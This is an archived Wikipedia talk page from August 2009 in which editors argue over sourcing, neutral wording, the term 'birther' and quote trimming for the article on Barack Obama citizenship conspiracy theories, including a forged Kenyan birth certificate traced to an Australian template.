
Is the Orange County Register considered a sufficiently reliable source? http://www.ocregister.com/articles/taitz-document-president-2517230-copy-obama —Preceding unsigned comment added by Markomalley (talk • contribs) 08:52, 4 August 2009 (UTC)

It's a local newspaper, but it is a newspaper (and it seems that there's a local angle to this story). Looks OK to me as a reference for the existence of an allegation that such a birth certificate exists (NB not for the existence of such a birth certificate). -- Hoary (talk) 09:48, 4 August 2009 (UTC)

Thanks. I'd hate to go through the hassle and then get it immediately pulled down. --Markomalley (talk) 10:01, 4 August 2009 (UTC)

Remember, if the article says there is an allegation that there is a birth certificate, any entry using that uses that reference, must say that. Any sort of syntheses of the source will be removed. (And this is an extremely fine line that means the addition must be written exactly as it is written in the article.) Brothejr (talk) 10:16, 4 August 2009 (UTC)

Will this work? "An Orange County attorney, Orly Taitz, filed a motion in federal court on 1 August 2009 to get a document which purports to be a certified copy of Barrack Obama's Kenyan Birth Certificate authenticated. Progressive Groups, including Media Matters for America, immediately refuted the authenticity of the document, stating that Kenya did not become a republic until 10 months after the date printed on the alleged copy." (OC Register citation for the first sentence; MM Blog citation (referenced in OC Register) for the second sentence). Appreciate the feedback so I don't waste time.--Markomalley (talk) 10:50, 4 August 2009 (UTC)

Lots of press are covering the scam. I love this one, Australian press interviewed the victim, David Bomford http://www.abc.net.au/pm/content/2008/s2646009.htm 70.105.20.31 (talk) 12:28, 4 August 2009 (UTC)

Markomalley, we shouldn't say that Media Matters refuted the claim. That would constitute an assertion by us that the people at Media Matters, with a well-established reputation for careful fact-checking, were right, and that several right-wing Obama-bashers were wrong. Per WP:NPOV, we can't make that call. Just say that Media Matters disputed the authenticity. Also, if we're going to cover this latest hoax -- ah, pardon me, this latest alleged hoax -- then we should mention the Australian birth certificate that the hoaxer used as a template. Here's a source for that information: . JamesMLane t c 14:11, 4 August 2009 (UTC)

It will be interesting to see if the Birthers created the fraud or if somebody else created it to dupe them. I tend to think the latter, as I don't think any of those rednecks are intelligent enough to use e-mail, much less properly photoshop a document. —Preceding unsigned comment added by 71.248.114.231 (talk) 14:45, 4 August 2009 (UTC)

Has anyone checked whether there was someone of a similar name born in Kenya at the time? (The Winston Churchill the politician and Winston Churchill the novelist scenario.) —Preceding unsigned comment added by 83.104.132.41 (talk) 12:35, 4 August 2009 (UTC)

Birth of someone with a similar name -- very unlikely, but not impossible. Birth of someone with a similar name whose birth information, by coincidence, also appears on page 5733 of Book 44B of the registry? Forget about it. One of these was faked based on the other. On Free Republic, of course, they're convinced that the Australian one is the forgery, created to discredit this stupendous discovery of the Muslim usurper's real birth certificate. JamesMLane t c 15:22, 4 August 2009 (UTC)

I don't understand the Bomford connection. They took an Australian birth certificate, changed it from Dominion of Australia to Republic of Kenya? There weren't any Kenyan certificated available? Why choose the Bomford one? And where's the pic of the original? Who then was a gentleman? (talk) 18:34, 4 August 2009 (UTC)

A Bomford family member had set up a genealogy website, which happened to include an image of the birth certificate of a Bomford who was approximately Obama's age. As a result, that form was available online as a template for creating the fake. It probably would have been a lot more work to get a Kenyan form. (If you know of a genuine Kenyan form online, please email me the link. I'd be very interested in seeing it.) When this connection was discovered, the Bomford genealogy site crashed under the huge influx of traffic; last I heard, it was showing only a message politely telling you to go away. Before that happened, however, the image had been copied. The site where I found it is no longer available to unregistered members of the public, but there are probably other copies out there somewhere. JamesMLane t c 19:14, 4 August 2009 (UTC)

The Washington Independent page with the original Bomford BC is also crashed. Who then was a gentleman? (talk) 19:49, 4 August 2009 (UTC)

The Bomford BC is still available here: http://images.salon.com/politics/war_room/2009/08/04/australia_certificate/storylarge01.jpg and http://www.salon.com/politics/war_room/2009/08/04/australia_certificate/index.html at Salon's website. --JamesAM (talk) 20:08, 4 August 2009 (UTC)

Thanks, James. BTW, Mombasa was not a part of Kenya at the time of Obama's birth, it was part of Zanzibar. And Coast Province was Coast District at the time. Who then was a gentleman? (talk) 20:48, 4 August 2009 (UTC)

Origin of the Kenyan birth certificate?

… probably: http://kenyanbirthcertificategenerator.com/ — is this thing just a huge hoax? If so, it definitely worked. At least this would explain, why there are variants of the alleged BC on the internet, e.g. one saying "EF Lavender" or "GF Lavender", the other "KF Lavender". Or they simply used the original one by Taitz (or rather Bomford) to program this generator. Definitely a great joke! :) —85.178.69.104 (talk) 11:13, 6 August 2009 (UTC)

Without a doubt the origin came from this person on freeblogger: http://fearlessblogging.com/post/view/3037. He pointed to an exact duplicate of the picture that went around the web, but at a dramatically higher resolution (2MB vice 468kb). See here: http://www.upload.mn/view/5ro4tlhvqps1xm7v65lw.jpg . He then shows how he disposed of the evidence in other high res photos (links at the fearlessblogging site). H/T to Washington Independent (cited in article).--Markomalley (talk) 02:43, 7 August 2009 (UTC)

Repetitious quote

Please, someone note that a long quote by Marc Ambinder appears TWICE in the article, and take one of the quotes out. They are quite close together. Geneven (talk) 13:30, 4 August 2009 (UTC)

Done.   Redthoreau (talk)RT 13:51, 4 August 2009 (UTC)

at least two of which were after attaining the age of fourteen years —Preceding unsigned comment added by 70.168.221.111 (talk) 14:42, 4 August 2009 (UTC)

WP:SYN?

I hesitate to even bring this up, but the article currently states "Notable advocates of the view that Obama may not be eligible for the Presidency include Philip J. Berg, a Pennsylvania attorney and 9/11 conspiracy theorist;" and then cites the following source. The source has nothing to Obama citizenship conspiracy theories. Don't we need another source tying a)Berg is an Obama citizenship conspiracy theorist to b)Berg is a 9/11 conspiracy theorist? Otherwise, isn't this a case of synthesis? If it is WP:SYS, we can add this cite to the statement which does make the connection. A Quest For Knowledge (talk) 19:08, 4 August 2009 (UTC)

I suspect there might've been appropriate cites in place, but the article has been fluctuating a bit lately so it may have been lost. Regarding your proposed edit: Looks good to me.. Go for it! thanks, --guyzero | talk 19:16, 4 August 2009 (UTC)

WND

Worldnetdaily apparently doesn't understand how Misplaced Pages, works - but even more distressing is the fact that that garbage was allowed to remain in the Obama article for so long. Who then was a gentleman? (talk) 20:11, 4 August 2009 (UTC)

The right-wing screed that they're cackling about was first inserted at 4:45pm and was removed at 6:33pm. That's not too surprising, given that it was in one of the daughter articles (Early life and career of Barack Obama). They get less attention. Such garbage wouldn't have lasted nearly so long in the main Obama bio. JamesMLane t c 21:00, 4 August 2009 (UTC)

Heck, I wouldn't be all that surprised if they were the ones who quietly changed it, took the screen shots, and then waited for someone to inevitably come along to remove it. Brothejr (talk) 21:10, 4 August 2009 (UTC)

Between stuff like this and the jerusalem21 deal, you gotta just love WNDs bending reality to fit the message: "Misplaced Pages page vandalized and then later fixed!!! Proof of <insert theory>!!" Yeah, "journalism". --guyzero | talk 21:31, 4 August 2009 (UTC)

why is the 'conspiracy' not mentionned in the main B.O. document?

A recent survey shows about half of the republicans believe that Obama may not be a US citizen (many want to see the proof, the long form BC), why is the issue then pushed in a separate article? Is it fair that an issue representing literally millions and millions of people is an orphan article? —Preceding unsigned comment added by 170.170.59.138 (talk) 23:55, 4 August 2009 (UTC)

Millions of right-thinking Americans believe all sorts of bunkum (Creationism, whatever), and the bunkum gets its little place in Misplaced Pages; but thanks to "WP:RS" and the rest, Misplaced Pages is reality-based. -- Hoary (talk) 00:06, 5 August 2009 (UTC)

college records hidden as well

Can we mention, in the main B.O. article, or in the 'conspiracy' article, that Obama is hiding bunch of other documents as well, typically college records and in general all documents where the country of birth is shown. Maybe it's faster to list the documents that have NOT been removed, ie documents Obama team has agreed to show to public. —Preceding unsigned comment added by 170.170.59.133 (talk) 00:37, 5 August 2009 (UTC)

No, because there are no reliable sources that make this claim, likely because its false. --guyzero | talk 01:20, 5 August 2009 (UTC)

There is some slight connection between the college records and the topic of this article. Some of the birthers argue that "All Obama has to do is release a birth certificate and this will all go away." Others, however, have said that courts should order the release of all marriage and divorce records from both of his mother's marriages, all his school records (pre-college, college, law school), his client list as a lawyer, etc. At least one post on Free Republic, a website crammed with birthers, said that even if he released a birth certificate that refuted all the birther claims, that would still be advantageous: "The thing to remember is this. If we get him to release it and he proves us wrong, we will have still won by forcing his hand. That gives us the opening to go after other documents." (from www dot freerepublic dot com/focus/f-news/2305279/posts (see post #5))

Unless some prominent birthers openly admit this agenda, however, or there's more public discussion of it, I don't think it merits inclusion in the article. JamesMLane t c 06:49, 5 August 2009 (UTC)

See this Salon dot com article. The section entitled Myth #8 includes demands for University of Chicago Law School scholarly articles, Harvard Law Review articles, Harvard Law School records, Columbia University records, Columbia University senior thesis, "Soviet Nuclear Disarmament", and Occidental College records, including financial aid that he may have received --Markomalley (talk) 09:02, 7 August 2009 (UTC)

The demands have been made by one "Gary Kreep". 'Nuff said? -- Hoary (talk) 09:14, 7 August 2009 (UTC)

Gary G. Kreep Esq., 932 D Street #2, Ramona, CA 92065. Alan Keyes' attorney with his birther lawsuit. Source: Ramona Bar Association Roster. (I looked before I leapt...even with a WP:RS ;-) )--Markomalley (talk) 18:32, 7 August 2009 (UTC)

Examiner.com is a blog, not usually a reliable source

I noticed that this article cites Examiner.com a couple times so I am posting this notice. Examiner.com is a blog. Generally speaking, it is not a reliable source. Examiner.com can only be used as a self-published source if the author is an established expert on the topic whose work in the relevent field has been published by a reliable third-party publication. Even then, caution should be exercised.

For more information, please see the following discussions on the Reliable Sources Noticeboard:

• Examiner.com = paid blogging no editorial oversight (archived)

• Request to reopen discussion on Examiner.com (archived)

• Examiner.com (archived)

A Quest For Knowledge (talk) 05:14, 5 August 2009 (UTC)

The term "birther", The Nation

An editor has just removed the term "birther" and a quotation from The Nation. This surprises me as I'd thought that "birther" was the accepted term (see for example its use here) and the quote from The Nation was very distinctively presented as a quotation with the implication that it expressed a point of view. Explanation, please? -- Hoary (talk) 08:23, 5 August 2009 (UTC)

The removal was done by by user Die4Dixie and has since been reverted by another editor. The Nation more than qualifies as a WP:RS in any instance, but especially for documenting the prevailing criticisms against this fringe "movement".   Redthoreau (talk)RT 14:33, 5 August 2009 (UTC)

"Birther" is certainly not encyclopedic and an opinion piece, given such prominence, distorts the the article. You are welcome to WP:OWN the article, as I am not particularlyinvested in this. This is such a poor quality article, and it seems that some are dertermined that it remain so. It would appear that some editors ideology prevents an objective evaluation of the article, "resolved" tags notwithstanding.--Die4Dixie (talk) 15:03, 5 August 2009 (UTC)

Applying your personal views and standards, on the other hand, isn't WP:OWN? Of course ... As was pointed out, "Birthers" is the term used by most sources to describe the group of people who believe and support these conspiracy theories. Hence, that's the term used here. Ravensfire2002 (talk) 15:05, 5 August 2009 (UTC)

Die4Dixie, "birthers" is the commonly used term to describe the present conglomeration of conspiracy theorists in the majority of reliable sources, thus we echo that description. It is irrelevant how I or you would describe them, we are simply here to document the prevailing reality of how they are described and received. Nobody here is owning the article as you state, and for the record I was not even the person who reverted your deletion. Lastly, "quality" of an article, is usually in the eye of the beholder, discredited political viewpoints notwithstanding.   Redthoreau (talk)RT 16:49, 5 August 2009 (UTC)

Commonality isn't the point though; the point is appropriateness. Dropping the term in the context of ta talk page discussion is one thing. But in an encyclopedic entry it is purely a pejorative and simply isn't necessary to get the point across. Look at other articles on hot-button topics; is the rhetoric filled with "Some abortionists believe...", Some truthers believe...", some "neocons believe..." etc. Tarc (talk) 17:29, 5 August 2009 (UTC)

Tarc, an article on Neoconservative concepts could utilize the term "neocons" and not be pejorative as could an article on the "9/11 truth" movement, utilizing "truthers" (especially if quoted as this aforementioned passage is). For example, lets say that the Washington Post described those who doubt the official 9/11 story thusly: "9/11 truthers believe ... etc", then of course it could be appropriate to cite that and say in an article on the topic: "The Washington Post has stated that '9/11 Truthers believe ... etc'". For instance, those on the fringe who believe the earth is actually flat get called "flat Earthers" by reliable sources, and thus Misplaced Pages reflects such in kind. It is not necessary to always arduously describe a "flat Earther" as = "One who remains skeptical about the spherical shape of our current planet and thus favors the approach that perhaps it is indeed flat". Moreover, nobody has yet to provide any evidence that "birthers" violates Wp:Undue, and in fact I would contend that in lieu of Wp:Weight, the entire article could be renamed "birther conspiracy theories", although in bending over backwards towards objectivity, that isn’t necessary at this time.   Redthoreau (talk)RT 19:16, 5 August 2009 (UTC)

I´m having a great deal of difficulty assuming good faith here.--Die4Dixie (talk) 00:23, 6 August 2009 (UTC)

Die4Dixie, considering that you were the first editor on this thread to state that the ominous "some" (an obvious veiled reference to myself, Hoary, or both) "are determined" that the article remain in your words "poor quality" and then topped that off with accusing "some editors" (again, a nice rhetorical caveat of bad faith) of having an "ideology" that "prevents them from an objective evaluation" ... I would wager that you'll be ok in your reciprocal assumptions of "good faith".   Redthoreau (talk)RT 01:08, 6 August 2009 (UTC)

Look. I specifically doubt your good faith. I won´t mince words about it, nor hide behind rhetorical devices. I unequivocally state that your ideology has clouded your judgement on the issue of the appropriateness of the repeated use of "Birthers" and your pathetic assertion that The Nation is a reliable source for encyclopedic content. Sure , I´m a conservative, I have never made any bones about it. You have used this article for your own purposes: to hold up to ridicule and marginalize "Birthers". This is not what the project is for. You are mistaking the article for your personal forum. You are obviously a bright man, however, you are being purposely obtuse here.--Die4Dixie (talk) 04:20, 6 August 2009 (UTC)

Not assuming good faith and using the words "...being purposely obtuse here." just shows the glass house you created for yourself. Maybe you want to retract strike or rephrase your statement and comment on the issue, not the editor?--The Magnificent Clean-keeper (talk) 21:38, 6 August 2009 (UTC)

Notice I said "being" not that he was "obtuse". Don´t play semantics and try to make my comment something other than a commnet on" his being obtuse".--Die4Dixie (talk) 23:18, 6 August 2009 (UTC)

Dixie, you have no knowledge of my "personal ideology", as I never discuss the issue (finding it mostly irrelevant to my proposed additions which are always referenced to someone else other than myself). You have been reverted on this matter now 3 separate times by 3 separate editors. There may be one editor who is being "obtuse" in their insistence to violate Wp:Concensus here, but it isn't me.   Redthoreau (talk)RT 20:52, 6 August 2009 (UTC)

I have removed the out of context quotation for the Nation´s blog perWP:RS and WP:UNDUE. Please discuss befor reinserting.--Die4Dixie (talk) 20:23, 6 August 2009 (UTC)

Dixie, You were previously reverted on this removal by another editor and have now been reverted on this by myself. With this in mind, the chronological protocol would be for you to first justify your removal. If you find The Nation to violate WP:RS in all instances as you claim above, then there is a proper channel for you to seek out administrative approval for this wiki-wide distinction. As for WP:Undue, you also have yet to display how these remarks violate this policy. It is not enough to merely list policies without a clear designation of how they are relevant. Undue weight relies on a cumulative understanding of the overall preponderance of the evidence (i.e. 'weight') in order to hypothesize on whether we are staying true to the proportionality of representation. However, I would imagine that you carte blanche dismiss many of the sources who have discussed this fringe movement, and thus I am not sure what you are even allowing to be on the proverbial scales for "weighing".   Redthoreau (talk)RT 20:45, 6 August 2009 (UTC)

I think you are an academician, based on the degrees that you alledge to have. What i don´t understand is how you think a massive quote bomb from a leftist blog without and context is desirable. It appears that the way it explodes on the scene, that it has editorial oversight from The Nation. Can you not see that it is a blog? can you not look at the URL and see that? Can you not see how this gives undue wieght to inherently unreliable sources? Is Hannity a RS for Obama? No! and including his or Rush´s comments give undue weight in the same way. Quit trying to take me down the garden path.--Die4Dixie (talk) 21:03, 6 August 2009 (UTC)

Dixie, since when is having an academic background a negative attribute or indictment on ones credibility ? - (although I admit this may be the case with the "birther" movement). Per your charges against The Nation, you have already been rebuffed on this at ---> Misplaced Pages:Reliable sources/Noticeboard#The Nation. You are now thus attempting to contradict the will of not only 3 other editors on this particular article, but now the advice of the noticeboard of which you sought. Couple this with your statement that User Brothejr is "God cursed stupid" and your laughable insinuation that I must be some aspiring shadow academic "revolutionary" - and the picture that emerges is not so favorable on your part. As someone who has let their emotions cloud their judgment in the past (something I am sure we are all guilty of from time to time) - my recommendation would be to move along and save yourself the potential aggravation in your futile quest to override everyone else you've thus encountered on the matter.   Redthoreau (talk)RT 21:38, 6 August 2009 (UTC)

If you notice the section is titled: Commentary and Criticism. The quote fits both and also sums to the entire section. The quote has been attributed to the author and is large enough to warrant a block quote. I also think that attacking other editors is unwarranted here and is against a couple policies. Please discuss the issue not the other editors. Brothejr (talk) 21:23, 6 August 2009 (UTC)

I am certain that I am discussing their actions. If not, I do apologize. Please read them that way. Please explain why you do not want the quotation labeled as a blog? PLease state unequivocally if you deny that it is indeed a blog.--Die4Dixie (talk) 21:29, 6 August 2009 (UTC)

BTW: If a reliable third party source had commented on the quote, it would reach notability. Please provide the source which has done so. It is a BLOG.--Die4Dixie (talk) 21:30, 6 August 2009 (UTC)

Dixie, repeating something ad nauseam does not increase the validity of the declaration … If the "birthers" have taught us anything, this might be it. Read your own noticeboard inquiry.   Redthoreau (talk)RT 21:46, 6 August 2009 (UTC)

A "news blog" which can be a RS (to be more precise)--The Magnificent Clean-keeper (talk) 21:38, 6 August 2009 (UTC)

Not so fast. It is a blog that The Nation maintains. It has no evidence of editorial oversite. I have read the section. Several tiems. The first comments were from before I clarified that it was a blog. The way the quote is used deliberately misguides readers into thinking that it is from The Nation´s news department. Please provide the context and directly attribute the opinion.--Die4Dixie (talk) 22:52, 6 August 2009 (UTC)

May I ask what context, why it is important to include, how you would word it, and why it should be worded like that? Brothejr (talk) 22:55, 6 August 2009 (UTC)

the desired context should be appernt from my last edit that you reverted. Perhaps you did not read it before reverting?--Die4Dixie (talk) 23:14, 6 August 2009 (UTC)

Ok, you answered my first portion, what about why is it important to include it and why it should be worded like that? Brothejr (talk) 23:16, 6 August 2009 (UTC)

To stay on the right side of WP:UNDUE and not mistakenly give it the same creedence that one would their news reports. It should be directly attributed inline to the author.--Die4Dixie (talk) 23:21, 6 August 2009 (UTC)

And it currently is attributed to the author. However, why is calling the author of the opinion a "leftist" or some derivation there of needed? What part of the context does it serve? Brothejr (talk) 23:25, 6 August 2009 (UTC)

The quotebomb gives undue weight to the opinion of this author. People should know the self-described mission of The Nation to evaluate the source properly.Die4Dixie (talk) 03:16, 7 August 2009 (UTC)

Pardon the slight digression, but talk of self-described missions prompts me to express a worry that of late has been preying on me. Are you asking us to die for Dixie, are you planning to die for Dixie, or does your username mean something else entirely? -- Hoary (talk) 09:17, 7 August 2009 (UTC)

Please review the early history on my talkpage for an exhaustive discussion of my username, and a second one about a year later. If you really want to discuss it, please feel free to hit me up on my talkpage.--Die4Dixie (talk) 21:38, 8 August 2009 (UTC)

I've also got to ask why do people need to know what the "self described mission of The Nation" to evaluate the quote? Brothejr (talk) 09:44, 7 August 2009 (UTC)

Why deprive them of it? Do we not exist to inform and let the reader evalute the quote in its context?--Die4Dixie (talk) 21:38, 8 August 2009 (UTC)

(Outdent) However, how will calling the author or The Nation a leftist or some derivation of that help the reader evaluate the quote? Shouldn't the reader make up their own mind without us influencing them? Wouldn't labeling the author politically some how influence/skew the reader one way or the other. To be neutral, we should just include the quote's author and the place where it was written and leave it at that. Brothejr (talk) 23:24, 8 August 2009 (UTC)

On a side note: I have moved the quote down into the section under the Rachel Maddow quote. Brothejr (talk) 09:53, 9 August 2009 (UTC)

I saw that and that makes it tolerable. I don´t have to love it.--Die4Dixie (talk) 12:55, 9 August 2009 (UTC)

racism ?

Isn't the reaction, of a country, that still has a huge problem with racism. I'm unsure there would be this level of activity of Obama was a white man, with a father from say England? Isn't Hilary Clinton's heritage also British? Sorry, to me (a white man by the way), it's just a racist section of the countries reaction to a black man gaining power. They can't change the fact he's democratically elected, so claim he is inellgible. A lot of conservative politics is based on "we're right". Whether the general public agree with it or not. The entire McCain campaign was dominated by smear, and race questions. Activists releasing smears into the media (as in claiming he's a muslim) This to me is just an extension of that. Conservative politics is always based on fanaticism of it's voters. People who are willing to smear, leak and attack rival politicians, for their right wing leaders —Preceding unsigned comment added by 193.128.223.68 (talk) 14:30, 5 August 2009 (UTC)

Although your argument may have merit, see the policy WP:NOT#FORUM. This page is solely for discussing how to improve the current article.   Redthoreau (talk)RT 14:37, 5 August 2009 (UTC)

Are we getting to Godwin's Law point? There should, perhaps, be a mention in the article as to #why# a certain fraction of the US population wishes to believe that Obama is ineligible, rather than 'merely a list of people who think he is' (and some of whom would still so believe even if all the documentation was provided in triplicate and there was a heavenly message. —Preceding unsigned comment added by 83.104.132.41 (talk) 15:01, 5 August 2009 (UTC)

IFF you have reliable sources for a psychopathology of the birthers, please specify these sources. As long as you don't, there's nothing to be said in the article about the matter. -- Hoary (talk) 15:06, 5 August 2009 (UTC)

PRECISELY. our job isnt to diagnose the subjects of articles as "fringe theorists" or "racists" or any of the leftist buzzwords use to put down all debate. Our job is to record what reliable sources sa youb the subject according ot their weight. Your overrealizence on biased misinterpretaitons of other peoples motives is not truly free. Smith Jones 16:42, 5 August 2009 (UTC)

This subject is mentioned under Birthers#Commentary and criticism. As an encyclopedia we have to wait until this movement has been properly studied before adding more analysis. The Four Deuces (talk) 20:27, 5 August 2009 (UTC)

Some blogs, such as DailyKos have conjectured that racism is the point of "Birthism", but we need better sources than that. Bearian (talk) 23:49, 5 August 2009 (UTC)

We have however already the comments of the Southern Poverty Law Centre, which is considered a reliable source, in the Birthers#Commentary and criticism section. The Four Deuces (talk) 23:52, 5 August 2009 (UTC)

Basically - these people exist in sufficient numbers for WP to have an article upon the subject. They may well be acting from a variety of motives (political, racial... etc: and a comment of racism is #not necessarily# a 'leftist buzzword' - how else would eg the BNP be described?), and, given the persistence and extent of the belief, a level of discussion in the article on the subject. Perhaps there should be a 'WP wishlist of original research to be done and appropriately published so that it can be summarised on the appropriate article pages.' (g) —Preceding unsigned comment added by 83.104.132.41 (talk) 09:51, 6 August 2009 (UTC)

Thats not how it works. we dont generated stuff that we want to include in the article. thats no different than sourcing something from another page in the wikipedia, which is against the rule. Smith Jones 21:33, 6 August 2009 (UTC)

Title of the Article

Given that the title of the article is "Barack Obama citizenship conspiracy theories", shouldn't the theories outlined in the article involve a conspiracy of some sort. None of the proposed theories seem to use a conspirancy, or at least it wasn't stated as such in the article. —Preceding unsigned comment added by 66.188.125.89 (talk) 00:29, 6 August 2009 (UTC)

They seem pretty definitively to be conspiracies to me. For instance, a common birther claim is that Obama's birth certificate is false. They claim that either there is a long form that differs in some significant way (usually place of birth) from the certificate Obama's presidential campaign made available or that the released certificate was totally fabricated with no basis. Since the State of Hawaii says that Obama's certificate is a valid certificate produced by the state and that he was born in Honolulu, the birther claims participation by Hawaiian officials in producing a false certificate. And it's the sources that matter. Several sources describe the theories as "conspiracy theories." --JamesAM (talk) 00:41, 6 August 2009 (UTC)

This subject is also addressed in the FAQ at the top of the page. JamesMLane t c 02:21, 6 August 2009 (UTC)

Actually, strictly going by what "reliable sources" say, nearly ALL sources have gone off the deep end calling this issue a fringe/nutty/rightwing/birther conspiracy theory and attacking the mere mention of it with surprising rabidity. There was a time when the argument could be made that the issue was being reported on responsibly and professionally by a significant number of journalists. That day is gone. Now there is a parade of juvenile talking heads deriding all comers like I've never seen before. For better or worse, Misplaced Pages feels compelled to follow that lead. That said, compared to some of the crap that has passed for journalism on the topic, this Misplaced Pages article takes a responsible high road by comparison, and while not quite neutral or complete, is about the best review of the issue that can be had. JBarta (talk) 05:07, 6 August 2009 (UTC)

To be honest, there's some very strong evidence that everything is legit. It get's harder and harder to believe some of the accusations when it looks like documents are being faked to support those accusations ("Kenyan Birth Certificate"). I quite agree that the Obama campaign had a way to silence some of the critics back in late 2008, but right now I don't know if there's anything they could really do to answer what's being raised. I know we've got at least one commentary in the article expressing that point. I've got a feeling that some of the more aggressive right-wing commentators use this as something they can hammer Obama about.

Your point about "deriding all comers" is a good one. The article shouldn't go overboard in making the point that these are generally considered "fringe" by the mainstream. Explain the particular theory and the various views then cover how it's viewed in the mainstream. These theories are dismissed by most sources, but have strong emotional support among certain segments. The "birther" label is pretty accurate, as there's a lot of similarity to the "truther" situation. Ravensfire2002 (talk) 05:29, 6 August 2009 (UTC)

If you read some of the "pro-birther" commentary out there, you will find many examples of perfectly sane and reasonable people asking perfectly sane and reasonable questions and making perfectly sane and reasonable points. I would suggest that the lion's share of strong emotion and denial on the issue is displayed by the "anti-birthers". (Crazy Eileen excepted) JBarta (talk) 09:02, 6 August 2009 (UTC)

Or, could it be the other way around? That the majority of America has laughed this off as some people who cannot accept that Obama is the president and that the majority of America sees this as nothing more as a bunch of conspiracy theorists who keep on wanting to think that this guy is evil. Also, it could be that the main stream media is reflecting what the majority of America thinks about this topic? Next, most people would have dropped it a long time ago when the birth certificate was shown. Yet when it was shown, these people then said it was either a fake or not the right one, thus the conspiracy was born. About the only people who think that there is any merit to any of these claims are those who have some kind of deep seated problem with Obama. Either way, the majority of Americans agree that these are just conspiracy theories with the main stream media reflecting that, and thus the title of the article is correct. Whether the mainstream media or the majority of America is right or wrong is irrelevant to this article. Nuff said. Brothejr (talk) 09:43, 6 August 2009 (UTC)

Yeah, I love the sane and reasonable way with which Orly Taitz calls anybody who questions her "Brownshirts". Who then was a gentleman? (talk) 19:59, 6 August 2009 (UTC)

Anyone suggested a Manchurian Candidate scenario (involving rather a lot of people - official and otherwise)? Or the "proverbial 8 foot lizards in disguise'? —Preceding unsigned comment added by 83.104.132.41 (talk) 14:56, 6 August 2009 (UTC)

no and we shouldnt exncourage attempts to smear rbitehrs without the theories of unverified WP:FORUM behaviorists. Smith Jones 21:29, 6 August 2009 (UTC)

My point I was trying to make earlyer was not that the brithers are not a fringe group that factialy incorectt. I was trying to say that the article is incorectly titled in an efort to blitle the birther movement. If you were to look up what a conspricy is you would find that a conspricy involves mulitipule conspritors entering in to an agreement to preform an illegal act. Every time i have seen clips of Orly Taitz, the "mother" of the birther movment, she claims that Obama's mother could have falsely claimed that her son was born in Hawaii to curcomvent imagration problems. If this were the case it would not constitite a conspricy, it would have been one woman lying to the state to get a brith cirtificate. the proposed theories are nothing like other examples of conspiracy theories. If you look at the JFK conspiracy theories page you will see it stated at the very top of the article who the aleged conspritors are, same with the truthers page. In this page you don't. —Preceding unsigned comment added by 66.188.125.89 (talk) 00:39, 7 August 2009 (UTC)

And other articles don't. For example the Apollo Moon landing hoax conspiracy theories article states in the lead:"...a number of related Moon hoax accounts have been advanced by various groups and individuals...". So how to divide the "birthers" and the "just curious one's"? I don't think it's possible at least in the title. Maybe somewhere in the article's main body?--The Magnificent Clean-keeper (talk) 01:40, 7 August 2009 (UTC)

Quotefarming

Don't do it. Filling articles up w/ quotes from random newspeople or congresscritters breaks up the flow of the article, makes POV difficult to manage (have to find dueling quotes), and causes the tone to become uneven. If something is particularly pithy or the speaker comes from a particular authority on the subject, go ahead and toss a quote in, but multi-sentence quotes which can be easily integrated into the text have to go. Protonk (talk) 21:41, 6 August 2009 (UTC)

However, with a removal that big, you should discuss each quote and why it should be removed. Also, instead of dashing most quote, why not integrate them as the majority of them do fit into the section and can be read easily. Brothejr (talk) 21:43, 6 August 2009 (UTC)

Actually, I don't feel the need to discuss each and every removal. If that's how you folks want to run your articles around here, be my guest, but it sounds like a recipe for a headache. Protonk (talk) 21:47, 6 August 2009 (UTC)

• Ok, dokey. This revert puts us square on the "discuss" portion of the BRD cycle. I feel that my changes aren't broadly transformative to the POV of the article, that they improve the flow (for reasons posted above) and that they can be supported by either side of this business. I see that this change specifically could generate some consternation and I'm more than happy to put that on the back burner (though a big quote shouldn't be leading the section, IMO). If I don't see some discussion here I'll assume that silence implies consent and go back to improving the article. Protonk (talk) 21:46, 6 August 2009 (UTC)

This is a classic display of WP:OWN by Brothejr. It just represents the problem with all Obama pages these days. --William S. Saturn (talk) 21:49, 6 August 2009 (UTC)

We were following the WP:BRD cycle until you jumped in and accused me of owning the article. I am happy to discuss the changes as long as we discuss the changes. Brothejr (talk) 21:52, 6 August 2009 (UTC)

Ok. the onus is on you. You reverted the changes. Tell us what is wrong with them. there were (i think) 5 changes. do you have a problem with all 5? Just some? Protonk (talk) 21:55, 6 August 2009 (UTC)

The move seemed pretty non-controversial. --William S. Saturn (talk) 21:54, 6 August 2009 (UTC)

The response will be, "you made the change, so it is your responsibility to defend it and gain consensus." --William S. Saturn (talk) 21:58, 6 August 2009 (UTC)

I'm not surprised.  :| Oh well. I should just signal now that I have zero intention to jaw about edits just because someone wants them talked about. Protonk (talk) 22:00, 6 August 2009 (UTC)

I always planned on discussing this before User talk:William S. Saturn jumped in. I am trying to assume good faith here. This quote: sums up the section quite nicely. Whether it is necessary to be in block quotes is debatable and it could be worked into the section. The Rachel Maddow quote change looks fine. The PolitiFact.com quote should stay in it's majority as it does sum up what is going on and is a reputable. Whether it should be in block quotes is again debated and not a sticking point. I agree with the Camille Paglia quote condensation. We also should keep the Fox New's quote, however we could drop one and still carry the same sense as before. Brothejr (talk) 22:02, 6 August 2009 (UTC)

Ok. Now we are getting somewhere. The top quote change I can leave at the wayside. I see that lots of discussion is going on above about it so I won't interject. The fox news quote bit seems really superfluous to me. Hannity quoted (effectively) the Army guy's laywers who said that the case represents a de facto admission of obama's ineligibility. The quote didn't seem to be 'criticism' in any fundamental sense, just recitation of that guy's viewpoint. We can condense it into prose, but it would look like "So and so's lawyers asserted that the dismissal represented a vindication of their client's factual claims". Apart from being legally inaccurate (his case was dismissed because the army obviated his standing and the army canceled his deployment orders because they probably didn't want a vocal critic running a combat unit), they are duplicative in that section. The politifact quote represents content that can be in the article but doesn't include anything that can't be condensed or translated. Meaning that the quote only shows that politifact asserts a lack of evidence in support of the birther position. What part of it needs to remain quoted? Protonk (talk) 22:10, 6 August 2009 (UTC)

Here how I think the politifact quote should go:

Anything's possible. But step back and look at the overwhelming evidence to the contrary and your sense of what's reasonable has to take over. There is not one shred of evidence to disprove PolitiFact's conclusion that the candidate's name is Barack Hussein Obama, or to support allegations that the birth certificate he released isn't authentic.

Removing the first and last sentence of the quote should slim it down a bit. Plus, could we include it in the paragraph without the blockquotes? I see what you mean with the Hannity quotes and there is no real way to condense them without making a false statement. Brothejr (talk) 22:23, 6 August 2009 (UTC)

That seems fine to me. I'd prefer that we get rid of the quote entirely, but I'm not worked up about it. Protonk (talk) 22:32, 6 August 2009 (UTC)

